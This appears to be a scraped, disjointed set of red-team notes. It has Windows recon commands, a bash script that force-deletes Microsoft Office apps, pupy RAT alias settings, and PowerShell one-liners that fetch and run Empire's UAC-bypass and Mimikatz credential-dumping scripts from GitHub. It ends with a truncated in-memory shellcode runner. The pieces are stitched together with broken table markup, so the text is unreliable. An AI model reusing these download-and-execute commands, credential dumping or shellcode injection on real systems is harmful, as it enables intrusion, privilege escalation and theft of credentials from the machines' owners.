[TOC]
hostname
systeminfo
whoami
If any part of the SYSTEM %PATH% variable is writeable by Authenticated Users, privesc exists
#!/bin/bash | |
echo " Removing Office 365 apps..." | |
rm -rf "/Applications/Microsoft Excel.app" | |
rm -rf "/Applications/Microsoft OneNote.app" | |
rm -rf "/Applications/Microsoft Outlook.app" | |
rm -rf "/Applications/Microsoft PowerPoint.app" | |
rm -rf "/Applications/Microsoft Word.app" | |
rm -rf "/Applications/Microsoft OneDrive.app" | |
rm -rf "/Applications/Microsoft Teams.app" |
link to project home: https://github.com/n1nj4sec/pupy
Modify pupy.conf Under the section starting with [aliases] you can add them
[aliases]
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
$code = ' | |
[DllImport("kernel32.dll")] | |
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); | |
[DllImport("kernel32.dll")] | |
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); | |
[DllImport("msvcrt.dll")] | |
public static extern IntPtr memset(IntPtr dest, uint src, uint count);'; | |
$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru; | |
[Byte[]]; | |
[Byte[]] $sc = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52,0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd,0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1,0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac,0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3,0x7d,0xf8,0x3b,0x7d, |